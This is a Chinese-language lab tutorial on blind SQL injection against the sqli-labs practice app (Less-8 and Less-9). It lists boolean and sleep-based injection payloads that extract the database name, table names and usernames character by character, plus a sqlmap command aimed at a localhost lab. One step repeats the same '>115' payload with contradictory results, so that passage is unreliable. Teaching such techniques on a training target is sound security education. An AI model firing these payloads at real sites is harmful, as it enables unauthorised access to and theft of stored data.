盲注介绍
先进行Boolean盲注,若实在不行再进行时间盲注
GET基于Boolean的盲注,实验:sqli-labs less -8
输入:?id=1' and length(database()) = 10 --+
输出:无任何信息
由此证明:数据库数为10错误
输入:?id=1' and length(database()) = 8 --+
输出:You are in...........
由此证明:数据库数为8正确
GET基于时间的盲注,实验:sqli-labs less -9
使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。
步骤一 枚举出当前数据库名
先判断能不能基于时间盲注来展开注入错误的语句,等了5秒才返回的,表示错误,立即返回表示正确, 能基于时间的错误进行盲注
输入:?id=1‘ and sleep(5) --+
爆当前数据库名称:使用二分法进行
输入:?id=1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5)) --+
输出:立刻返回
由此证明:第一个字母大于114
输入:?id=1' and if(ascii(substr(database(),1,1))>115, 0,sleep(5)) --+
输出:过了5秒才返回
由此证明:字母小<115 应该是ascii115对应s
依次类推
......
这里我们假设我们把库名报出来了 我们要爆表名
步骤二 爆表名
输入:?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0,sleep(5)) --+
输出:立即返回
由此证明:大于100成立
输入:?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>105, 0,sleep(5)) --+
输出:过了5秒才返回
由此证明:那么这是错误的,值在101-105之间
依次类推,进一步缩小范围,直到锁定准确的值
爆字段名与爆表名同理
步骤三 爆字段值
爆字段值的语句构造方法
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>100, 0,sleep(5)) --+
sqlmap安全测试:–technique
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique --dbs